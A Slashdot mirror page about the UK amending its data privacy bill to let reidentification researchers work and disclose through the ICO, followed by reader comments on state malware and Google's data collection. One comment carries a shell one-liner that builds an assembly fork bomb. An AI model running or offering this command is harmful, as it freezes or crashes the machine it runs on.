Slashdot Mirror
UK Backs Off From Banning Reidentification Research (theguardian.com)
An anonymous reader writes: The United Kingdom has recently debated banning reidentification in its new data privacy law. This proposal has quickly been identified as dangerous and criticized, as it was argued this is not only ineffective but would also put at risk legitimate security and privacy researchers. Following public outcry, the UK government amended the bill to include safe-guards allowing researchers to study anonymization weaknesses. Researchers will also gain a new channel of disclosure via the Information Commissioner Office (ICO). According to The Guardian, "Researchers will have to notify the ICO within three days of successfully deanonymizing data, and demonstrate that they had acted in the public interest and without intention to cause damage or distress in re-identifying data."
That some of the malware discovered domestically and only in the UK would have been the work of/contractors for the security services?
Create bespoke code for every mission that no AV or OS will ever know about?
Unique code only every seen in select locations in the UK and Ireland would stand out to any researcher.
Use international malware thats not been discovered in the wild but might be discovered at any time? It might collect all for hours, days, months, years?
Until the OS, AV tells the user about the infected OS, files.
What to do with all the research in the UK that will find UK sensitive security service code litter online, on devices, in the telco networks?
Code never seen outside the UK, Ireland that no OS, AV was aware of?
Another domestic Operation Socialist gets found? https://theintercept.com/2014/...
https://en.wikipedia.org/wiki/... How to accept such discoveries and tell the researcher that their work will result in an OS patch, AV update as needed?
Centralise legal malware reporting in the UK and keep the researchers productive and feeling like their efforts get better results than talking to the global AV community.
Domestic spying is now "Benign Information Gathering"
24 hour felonious programming (in England) contest. Prize: Free trip to London, all expenses paid.
This will be some good trolling.
Find the Queen. Find Chuck! Just don't do it in English jurisdiction. Good fun!
John McAfee 'It was like that time I hired that Bangkok prostitute; to do my taxes, while I fucked my accountant'
Proving intent in either the civil or criminal context is inherently difficult. -- American Bar Association
... think that intelligence led counter insurgency consists of beating information out of suspects.
Actually it consists of very clever SIGINT intelligence gathering cooperating with the every helpful folks at Fort Meade to identify the suspects followed by a tip off off to the intelligence services of whatever third world shithole they travel to to blow shit up. Then the local secret police beat the information out of them and we pass it back to Fort Meade.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Lets consider Google.
Google obtains the location (from its location services), name (as specified by you), email (gmail needed for android), ip address (lots of ways), browser profile (lots of ways), real name (credit card used on Google Play), real address (credit card), car driven (from Android Car sync), websites visited (google analytics, Google adverts, Google tag manager,Google content delivery network etc), telephone number (Android), friends and contacts telephone numbers (Android), Wifi passwords of every network around you (Android cloud backup), who you are with at the moment (sniffs surrounding Wifi under guise of location services), your future plans (Google Calendar), your words (Google Assistent), your conversations (chat/email), probably an insane shitload of other stuff you and I don't know about.
It also gives itself permission to cross link that data.
It tells you a tiny fraction of the data it links based on the account id.
OK, so now imagine a dictator or his puppet with that data and you have control. e.g. Puppet put into UK leadership with help of foreign attacking government, signs access to that data to UK security service (already done), who then are instructed to share that data with foreign attacking government to tackle some exaggerated threat... muslims..... mexicans...china..... or something.